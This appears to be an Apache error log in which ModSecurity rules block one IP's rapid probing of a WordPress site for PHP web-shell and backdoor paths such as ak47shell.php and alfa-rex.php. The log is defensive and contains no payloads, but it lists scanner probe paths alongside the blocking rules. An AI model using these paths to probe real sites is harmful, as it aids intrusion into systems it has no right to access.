[Thu Feb 26 20:59:40.293759 2026] [:error] [pid 25311:tid 25318] [client 20.220.189.106:8527] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/library.php"] [unique_id "aaBDvNfdM__yZAgJFSvbLgAAAYQ"]
[Thu Feb 26 20:59:41.099690 2026] [:error] [pid 25311:tid 25327] [client 20.220.189.106:8539] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/library.php"] [unique_id "aaBDvdfdM__yZAgJFSvbLwAAAY0"]
[Thu Feb 26 20:59:42.061427 2026] [:error] [pid 54991:tid 55025] [client 20.220.189.106:8443] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/library.php"] [unique_id "aaBDvt4Zx-mJ8gbRB2jjiQAAAEU"]
[Thu Feb 26 20:59:43.725932 2026] [:error] [pid 44444:tid 44469] [client 20.220.189.106:8385] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/-admin/includes/thumbs.php"] [unique_id "aaBDv22sMNmj-yekUk0TmAAAAhM"]
[Thu Feb 26 20:59:45.974780 2026] [:error] [pid 3883:tid 3886] [client 20.220.189.106:8411] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/-admin/includes/thumbs.php"] [unique_id "aaBDweA33x90V6yYHajdAwAAAUA"]
[Thu Feb 26 20:59:47.177997 2026] [:error] [pid 3883:tid 3887] [client 20.220.189.106:8915] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/-admin/includes/thumbs.php"] [unique_id "aaBDw-A33x90V6yYHajdCAAAAUE"]
[Thu Feb 26 20:59:48.495949 2026] [:error] [pid 25311:tid 25323] [client 20.220.189.106:8401] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/-admin/includes/thumbs.php"] [unique_id "aaBDxNfdM__yZAgJFSvbPwAAAYk"]
[Thu Feb 26 20:59:49.241481 2026] [:error] [pid 3883:tid 3897] [client 20.220.189.106:8396] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BbPmyEI/luuf.php"] [unique_id "aaBDxeA33x90V6yYHajdFwAAAUs"]
[Thu Feb 26 20:59:50.423172 2026] [:error] [pid 55051:tid 55068] [client 20.220.189.106:8403] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BbPmyEI/luuf.php"] [unique_id "aaBDxgmK1w2kZvh5eLGlHAAAAI4"]
[Thu Feb 26 20:59:51.274739 2026] [:error] [pid 3883:tid 3888] [client 20.220.189.106:8554] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BbPmyEI/luuf.php"] [unique_id "aaBDx-A33x90V6yYHajdIAAAAUI"]
[Thu Feb 26 20:59:52.395491 2026] [:error] [pid 44444:tid 44454] [client 20.220.189.106:8514] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BbPmyEI/luuf.php"] [unique_id "aaBDyG2sMNmj-yekUk0TrQAAAgQ"]
[Thu Feb 26 20:59:53.150573 2026] [:error] [pid 44444:tid 44470] [client 20.220.189.106:8441] [client 20.220.189.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/wp.php"] [unique_id "aaBDyW2sMNmj-yekUk0TsQAAAhQ"]
[Thu Feb 26 20:59:54.539488 2026] [:error] [pid 3883:tid 3889] [client 20.220.189.106:8404] [client 20.220.189.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/src/Core32/Poly1305/post.php"] [unique_id "aaBDyuA33x90V6yYHajdMAAAAUM"]
[Thu Feb 26 20:59:55.331741 2026] [:error] [pid 55051:tid 55062] [client 20.220.189.106:8525] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/confag.php"] [unique_id "aaBDywmK1w2kZvh5eLGlJgAAAIg"]
[Thu Feb 26 20:59:56.435766 2026] [:error] [pid 3883:tid 3904] [client 20.220.189.106:8399] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/confag.php"] [unique_id "aaBDzOA33x90V6yYHajdOwAAAVI"]
[Thu Feb 26 20:59:58.086809 2026] [:error] [pid 25311:tid 25322] [client 20.220.189.106:8419] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/confag.php"] [unique_id "aaBDztfdM__yZAgJFSvbTAAAAYg"]
[Thu Feb 26 21:00:00.414340 2026] [:error] [pid 44444:tid 44451] [client 20.220.189.106:8546] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/ern/alfa-rex.php"] [unique_id "aaBD0G2sMNmj-yekUk0TxQAAAgE"]
[Thu Feb 26 21:00:01.659105 2026] [:error] [pid 3883:tid 3892] [client 20.220.189.106:8395] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/ern/alfa-rex.php"] [unique_id "aaBD0eA33x90V6yYHajdVgAAAUY"]
[Thu Feb 26 21:00:04.915945 2026] [:error] [pid 3883:tid 3886] [client 20.220.189.106:8406] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/ern/alfa-rex.php"] [unique_id "aaBD1OA33x90V6yYHajdagAAAUA"]
[Thu Feb 26 21:00:10.039060 2026] [:error] [pid 55618:tid 55622] [client 20.220.189.106:8551] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/ern/alfa-rex.php"] [unique_id "aaBD2h61Vrh12f_8oWQIFwAAAQE"]
[Thu Feb 26 21:00:11.475884 2026] [:error] [pid 25311:tid 25331] [client 20.220.189.106:8393] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ak47shell.php"] [unique_id "aaBD29fdM__yZAgJFSvbVAAAAZE"]
[Thu Feb 26 21:00:13.195476 2026] [:error] [pid 55618:tid 55627] [client 20.220.189.106:8413] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ak47shell.php"] [unique_id "aaBD3R61Vrh12f_8oWQIHgAAAQY"]
[Thu Feb 26 21:00:14.835986 2026] [:error] [pid 55122:tid 55126] [client 20.220.189.106:8425] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ak47shell.php"] [unique_id "aaBD3oLiR0OfjFxvcN8tCgAAAMI"]
[Thu Feb 26 21:00:17.368533 2026] [:error] [pid 25311:tid 25316] [client 20.220.189.106:8529] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ak47shell.php"] [unique_id "aaBD4dfdM__yZAgJFSvbVwAAAYI"]
[Thu Feb 26 21:00:18.417650 2026] [:error] [pid 54990:tid 55016] [client 20.220.189.106:8438] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aaBD4ntr2qmt_mBhH2wmbQAAABc"]
[Thu Feb 26 21:00:19.695104 2026] [:error] [pid 20419:tid 20442] [client 20.220.189.106:8430] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aaBD4-3DVDvMfTYYUBVRvwAAAdQ"]
[Thu Feb 26 21:00:20.813266 2026] [:error] [pid 44444:tid 44462] [client 20.220.189.106:8434] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aaBD5G2sMNmj-yekUk0UBgAAAgw"]
[Thu Feb 26 21:00:21.831769 2026] [:error] [pid 44444:tid 44463] [client 20.220.189.106:8534] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aaBD5W2sMNmj-yekUk0UDwAAAg0"]
[Thu Feb 26 21:00:22.886752 2026] [:error] [pid 44444:tid 44471] [client 20.220.189.106:8541] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acme-challenge/xl2023.php"] [unique_id "aaBD5m2sMNmj-yekUk0UGwAAAhU"]
[Thu Feb 26 21:00:23.611228 2026] [:error] [pid 44444:tid 44458] [client 20.220.189.106:8445] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acme-challenge/xl2023.php"] [unique_id "aaBD522sMNmj-yekUk0UHwAAAgg"]
[Thu Feb 26 21:00:25.812263 2026] [:error] [pid 3883:tid 3909] [client 20.220.189.106:8549] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acme-challenge/xl2023.php"] [unique_id "aaBD6eA33x90V6yYHajdtAAAAVc"]
[Thu Feb 26 21:00:26.957542 2026] [:error] [pid 3883:tid 3898] [client 20.220.189.106:8512] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acme-challenge/xl2023.php"] [unique_id "aaBD6uA33x90V6yYHajdvAAAAUw"]
[Thu Feb 26 21:00:27.984115 2026] [:error] [pid 3883:tid 3905] [client 20.220.189.106:8423] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Cookie/theme.php__123"] [unique_id "aaBD6-A33x90V6yYHajdvwAAAVM"]
[Thu Feb 26 21:00:29.704895 2026] [:error] [pid 3883:tid 3906] [client 20.220.189.106:8435] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Cookie/theme.php__123"] [unique_id "aaBD7eA33x90V6yYHajdwwAAAVQ"]
[Thu Feb 26 21:00:30.318143 2026] [:error] [pid 3883:tid 3893] [client 20.220.189.106:8417] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Cookie/theme.php__123"] [unique_id "aaBD7uA33x90V6yYHajdxgAAAUc"]
[Thu Feb 26 21:00:30.859428 2026] [:error] [pid 20419:tid 20429] [client 20.220.189.106:8420] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Cookie/theme.php__123"] [unique_id "aaBD7u3DVDvMfTYYUBVR0gAAAcc"]
[Thu Feb 26 21:00:32.821599 2026] [:error] [pid 44444:tid 44457] [client 20.220.189.106:8523] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/log404.php"] [unique_id "aaBD8G2sMNmj-yekUk0UNQAAAgc"]
[Thu Feb 26 21:00:41.704750 2026] [access_compat:error] [pid 3883:tid 3886] [client 20.220.189.106:8908] AH01797: client denied by server configuration: /home/vetstars/public_html/wp-content/updraft
[Thu Feb 26 21:00:50.665865 2026] [:error] [pid 3883:tid 3896] [client 20.220.189.106:8908] [client 20.220.189.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/preferences/buy.php"] [unique_id "aaBEAuA33x90V6yYHajeGwAAAUo"]
[Thu Feb 26 21:00:51.724506 2026] [:error] [pid 55122:tid 55137] [client 20.220.189.106:8427] [client 20.220.189.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "aaBEA4LiR0OfjFxvcN8tDgAAAM0"]
[Thu Feb 26 21:01:02.034942 2026] [:error] [pid 55618:tid 55643] [client 20.220.189.106:8540] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Alex-Cross.php"] [unique_id "aaBEDh61Vrh12f_8oWQIUAAAARY"]
[Thu Feb 26 21:01:03.321662 2026] [:error] [pid 25311:tid 25324] [client 20.220.189.106:8426] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Alex-Cross.php"] [unique_id "aaBED9fdM__yZAgJFSvblwAAAYo"]
[Thu Feb 26 21:01:05.466886 2026] [:error] [pid 44444:tid 44455] [client 20.220.189.106:8405] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Alex-Cross.php"] [unique_id "aaBEEW2sMNmj-yekUk0UfgAAAgU"]
[Thu Feb 26 21:01:06.240207 2026] [:error] [pid 44444:tid 44454] [client 20.220.189.106:8543] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Alex-Cross.php"] [unique_id "aaBEEm2sMNmj-yekUk0UgQAAAgQ"]
[Thu Feb 26 21:01:07.227837 2026] [:error] [pid 25311:tid 25314] [client 20.220.189.106:8559] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/sx.php"] [unique_id "aaBEE9fdM__yZAgJFSvbmwAAAYA"]
[Thu Feb 26 21:01:07.928898 2026] [:error] [pid 55051:tid 55058] [client 20.220.189.106:8916] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/sx.php"] [unique_id "aaBEEwmK1w2kZvh5eLGlrAAAAIQ"]
[Thu Feb 26 21:01:08.979144 2026] [:error] [pid 3883:tid 3892] [client 20.220.189.106:8433] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/sx.php"] [unique_id "aaBEFOA33x90V6yYHajeUAAAAUY"]
[Thu Feb 26 21:01:11.030190 2026] [:error] [pid 54991:tid 55042] [client 20.220.189.106:8384] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/sx.php"] [unique_id "aaBEF94Zx-mJ8gbRB2jjoQAAAFY"]
[Thu Feb 26 21:01:12.342404 2026] [:error] [pid 54990:tid 55010] [client 20.220.189.106:8421] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/themes/atomlib.php"] [unique_id "aaBEGHtr2qmt_mBhH2wmgwAAABE"]
[Thu Feb 26 21:01:13.424833 2026] [:error] [pid 55051:tid 55055] [client 20.220.189.106:8555] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/themes/atomlib.php"] [unique_id "aaBEGQmK1w2kZvh5eLGltgAAAIE"]
[Thu Feb 26 21:01:14.550852 2026] [:error] [pid 44444:tid 44465] [client 20.220.189.106:8575] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/themes/atomlib.php"] [unique_id "aaBEGm2sMNmj-yekUk0UjgAAAg8"]
[Thu Feb 26 21:01:16.442472 2026] [:error] [pid 25311:tid 25316] [client 20.220.189.106:8392] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/themes/atomlib.php"] [unique_id "aaBEHNfdM__yZAgJFSvbqAAAAYI"]
[Thu Feb 26 21:01:17.277166 2026] [:error] [pid 44444:tid 44451] [client 20.220.189.106:8544] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bkncxqju.php"] [unique_id "aaBEHW2sMNmj-yekUk0UlwAAAgE"]
[Thu Feb 26 21:01:18.240674 2026] [:error] [pid 55051:tid 55064] [client 20.220.189.106:8516] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bkncxqju.php"] [unique_id "aaBEHgmK1w2kZvh5eLGlvgAAAIo"]
[Thu Feb 26 21:01:19.317148 2026] [:error] [pid 44444:tid 44471] [client 20.220.189.106:8439] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bkncxqju.php"] [unique_id "aaBEH22sMNmj-yekUk0UnwAAAhU"]
